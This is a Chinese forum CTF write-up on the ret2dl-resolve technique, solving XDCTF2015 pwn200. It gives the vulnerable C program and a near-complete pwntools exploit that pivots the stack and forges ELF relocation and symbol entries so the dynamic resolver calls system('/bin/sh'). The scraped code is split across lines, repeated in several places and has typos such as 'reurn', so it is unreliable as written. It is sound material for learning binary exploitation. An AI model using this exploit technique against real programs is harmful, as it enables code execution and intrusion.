-
-
[原创]ret2resolve练习
-
发表于: 2023-8-3 22:33 13330
-
文章主要参考了看雪
我在文章“ELF文件格式”中提到了下问中涉及到的内容
这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got
等节知识和动态加载时_dl_runtime_resolve
的加载顺序,这些知识可以在我写的“文件格式”里看到。
用到的题目为XDCTF2015 pwn200,源码如下
理由:栈可溢出空间小,不足以写入完整的payload
目标栈:可读写内存段
本质:esp的改变
实现手段:利用两次leave指令
参考:
参考内容,主要看他的图
实现手段详解:leave
命令可以理解为mov esp, ebp; pop ebp
那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp
,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp
,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。
实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,eip
如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp
了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图
那么pop ebp
执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容
似乎还有其他的不是利用leave的栈转移,先不讨论。
栈转移代码实现如下:
利用0x08049105做为第二个leave使用
从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:
上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt
表。如下图
在main函数中,点击这个_write的调用
会出现
或者是点开红色框后的模样
其中push 20h
这个20h就是reloc,而jmp sub_xxx
是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图
这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。
在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。
结果如下:
完整的,不带注释的代码如下
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void
vuln()
{
char
buf[100];
setbuf
(stdin, buf);
read(0, buf, 256);
}
int
main()
{
char
buf[100] =
"Welcome to XDCTF2015~!\n"
;
setbuf
(stdout, buf);
write(1, buf,
strlen
(buf));
vuln();
return
0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void
vuln()
{
char
buf[100];
setbuf
(stdin, buf);
read(0, buf, 256);
}
int
main()
{
char
buf[100] =
"Welcome to XDCTF2015~!\n"
;
setbuf
(stdout, buf);
write(1, buf,
strlen
(buf));
vuln();
return
0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out
def
stack_trans(read_start_addr, new_esp):
over_buffer
=
'A'
*
108
# 沾满缓存
overwrite_ebp
=
p32(new_esp)
# 注意,这里覆写的ebp,在经过栈转移后为esp的地址
# 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
call_read
=
read_plt
# read的地址,用于写入shellcode
ret
=
leave_ret_addr
# 将第二个leave做为read的返回地址
arg_1
=
p32(
0
)
# 这三个是read函数的三个参数
arg_2
=
p32(read_start_addr)
# 从这里开始写,没问题,这个地址其实和new_esp是一样的
arg_3
=
p32(
0x100
)
#read的最大独写长度。至少是完整代码中所有payload的长度之和,
# 这里就直接了0x100了,肯定是够了
payload
=
flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill
=
'B'
*
(
0x100
-
len
(payload))
# 填充满这0x100的空间
payload
+
=
flat(fill)
return
payload
# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def
verify_trans(esp, elf):
rop_size
=
24
ebp
=
"DDDD"
write_plt
=
elf.plt[
'write'
]
jmp_write
=
p32(write_plt)
gap
=
"EEEE"
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size)
arg_3
=
p32(
len
(
"/bin/sh\00"
))
bin_str
=
"/bin/sh\00"
payload
=
flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
return
payload
def
stack_trans(read_start_addr, new_esp):
over_buffer
=
'A'
*
108
# 沾满缓存
overwrite_ebp
=
p32(new_esp)
# 注意,这里覆写的ebp,在经过栈转移后为esp的地址
# 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
call_read
=
read_plt
# read的地址,用于写入shellcode
ret
=
leave_ret_addr
# 将第二个leave做为read的返回地址
arg_1
=
p32(
0
)
# 这三个是read函数的三个参数
arg_2
=
p32(read_start_addr)
# 从这里开始写,没问题,这个地址其实和new_esp是一样的
arg_3
=
p32(
0x100
)
#read的最大独写长度。至少是完整代码中所有payload的长度之和,
# 这里就直接了0x100了,肯定是够了
payload
=
flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill
=
'B'
*
(
0x100
-
len
(payload))
# 填充满这0x100的空间
payload
+
=
flat(fill)
return
payload
# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def
verify_trans(esp, elf):
rop_size
=
24
ebp
=
"DDDD"
write_plt
=
elf.plt[
'write'
]
jmp_write
=
p32(write_plt)
gap
=
"EEEE"
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size)
arg_3
=
p32(
len
(
"/bin/sh\00"
))
bin_str
=
"/bin/sh\00"
payload
=
flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
return
payload
"""
typedef struct {
Elf32_Addr r_offset; // 指向需要进行重定位的位置在节中的偏移地址
Elf32_Word r_info; // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;
"""
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
#在第一次执行函数后,r_offset用于保存函数的真实地址,
# 在本程序中用不到,所以随便写
fake_Elf32_Rel
+
=
p32(r_info)
# 注意,r_info这一个字段包含了两个内容
#r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
return
fake_Elf32_Rel
pass
"""
typedef struct {
Elf32_Word st_name; // 符号的名称在字符串表中的偏移地址
Elf32_Addr st_value; // 符号的值,可以是地址、常量或者是相对值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的类型和绑定属性 8位
unsigned char st_other; // 保留 8位
Elf32_Half st_shndx; // 符号所属的节的索引 16位
} Elf32_Sym;
"""
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
# 也就这个st_name重要
fake_Elf32_Sym
+
=
p32(st_value)
# 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
# 位移,也是下标
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
# 其他的值照着IDA里抄就完事了,都是选定的值
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
reurn sym
# 测试伪造是否成功
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
# 上边的fak_rel和fake_sym和IDA里是一摸一样的
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# jmp bbb
fake_rel_address
=
esp
+
rop_size
# 这个地址是最后算的
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# push aaa;这两个在plt表中非常的直观,可以去看看
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
# bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
# 参与构成rop的每个数据都长4个字节,有5个,共20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
# 接下来就是放入fake
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
"""
typedef struct {
Elf32_Addr r_offset; // 指向需要进行重定位的位置在节中的偏移地址
Elf32_Word r_info; // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;
"""
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
#在第一次执行函数后,r_offset用于保存函数的真实地址,
# 在本程序中用不到,所以随便写
fake_Elf32_Rel
+
=
p32(r_info)
# 注意,r_info这一个字段包含了两个内容
#r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
return
fake_Elf32_Rel
pass
"""
typedef struct {
Elf32_Word st_name; // 符号的名称在字符串表中的偏移地址
Elf32_Addr st_value; // 符号的值,可以是地址、常量或者是相对值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的类型和绑定属性 8位
unsigned char st_other; // 保留 8位
Elf32_Half st_shndx; // 符号所属的节的索引 16位
} Elf32_Sym;
"""
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
# 也就这个st_name重要
fake_Elf32_Sym
+
=
p32(st_value)
# 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
# 位移,也是下标
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
# 其他的值照着IDA里抄就完事了,都是选定的值
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
reurn sym
# 测试伪造是否成功
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
# 上边的fak_rel和fake_sym和IDA里是一摸一样的
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# jmp bbb
fake_rel_address
=
esp
+
rop_size
# 这个地址是最后算的
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# push aaa;这两个在plt表中非常的直观,可以去看看
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
# bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
# 参与构成rop的每个数据都长4个字节,有5个,共20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
# 接下来就是放入fake
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
# esp其实是new_esp
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# 即之前的jmp sub_8049020
fake_rel_address
=
esp
+
rop_size
# rop_size就按照之后的流程,提前计算一下
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# 即类似push 20h
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
# /bin/sh的地址
# 这个地址也是按照后边的流程提前计算的
system_str
=
'system\x00\x00'
# 大于4个字节,小于8个字节,则需要补足8个字节
bin_str
=
'/bin/sh\x00'
# 正好8个字节
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
# 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
# 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
# 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
# 接下来就是放入fake
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
# fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
base_stage
=
fake_sym_addr
-
8
# base_stage = elf_bss + stack_size
return
base_stage
-
elf_bss
stack_size
=
0x834
# 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr
=
0
# .bss,动态获取的
base_stage
=
0
# 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size
=
20
# 提前算好的
leave_ret_addr
=
0x08049105
# leave; ret;
resolve_addr
=
0x08049020
# jmp sub_xxx
REL_header_addr
=
0x08048380
# 注意区分两个两个Rel头部
SYM_header_addr
=
0x0804820C
SYM_size
=
16
# 即一个sym表的大小为16个字节
STR_header_addr
=
0x080482AC
# ELF String Table,这些地址,根据IDA找找就行
read_plt
=
0
# 动态获取的
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
# bss地址
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
# 也是提前计算,用于在calc_stack_size中调整stack_size
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res!
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
# rea新d_plt地址
new_esp
=
base_stage
-
rop_size
# 字面含义
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
# 栈转移结束
# 在getshell函数中的“system”,提前计算地址
system_addr
=
new_esp
+
rop_size
+
8
+
16
r_offset
=
0x804C010
# 根据IDA在rel.plt中随便找了一个,这个字段在函数执行一次后会保存函数的真实地址,但是目前没什么用,所以无所谓
fake_sym_addr
=
new_esp
+
rop_size
+
8
# 就是在这里,如果不进行calc_stack_size的话,可能会出现类型错误
r_info
=
(((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)<<
8
)
+
7
# 位移,也是下标
fake_rel
=
fake_Rel(r_offset, r_info)
st_name
=
system_addr
-
STR_header_addr
#其他的值照着IDA里抄就完事了,都是选定的值
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
fake_sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
payload
=
getshell(fake_rel,fake_sym, new_esp)
p.send(payload)
p.interactive()
# 测试栈转移
# payload = verify_trans(new_esp, elf)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")
# 测试伪造是否成功
# payload = getshell_1(new_esp)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
# esp其实是new_esp
ebp
=
"DDDD"
# 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
jmp_resolve
=
p32(resolve_addr)
# 即之前的jmp sub_8049020
fake_rel_address
=
esp
+
rop_size
# rop_size就按照之后的流程,提前计算一下
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
# 即类似push 20h
random_str
=
'CCCC'
# 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
# /bin/sh的地址
# 这个地址也是按照后边的流程提前计算的
system_str
=
'system\x00\x00'
# 大于4个字节,小于8个字节,则需要补足8个字节
bin_str
=
'/bin/sh\x00'
# 正好8个字节
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
# 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
# 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
# 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
# 接下来就是放入fake
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
# fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
base_stage
=
fake_sym_addr
-
8
# base_stage = elf_bss + stack_size
return
base_stage
-
elf_bss
stack_size
=
0x834
# 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr
=
0
# .bss,动态获取的
base_stage
=
0
# 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size
=
20
# 提前算好的
leave_ret_addr
=
0x08049105
# leave; ret;
resolve_addr
=
0x08049020
# jmp sub_xxx
REL_header_addr
=
0x08048380
# 注意区分两个两个Rel头部
SYM_header_addr
=
0x0804820C
SYM_size
=
16
# 即一个sym表的大小为16个字节
STR_header_addr
=
0x080482AC
# ELF String Table,这些地址,根据IDA找找就行
read_plt
=
0
# 动态获取的
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
# bss地址
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
# 也是提前计算,用于在calc_stack_size中调整stack_size
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res!
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
# rea新d_plt地址
new_esp
=
base_stage
-
rop_size
# 字面含义
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
# 栈转移结束
# 在getshell函数中的“system”,提前计算地址
赞赏
- [原创]ret2resolve练习 13331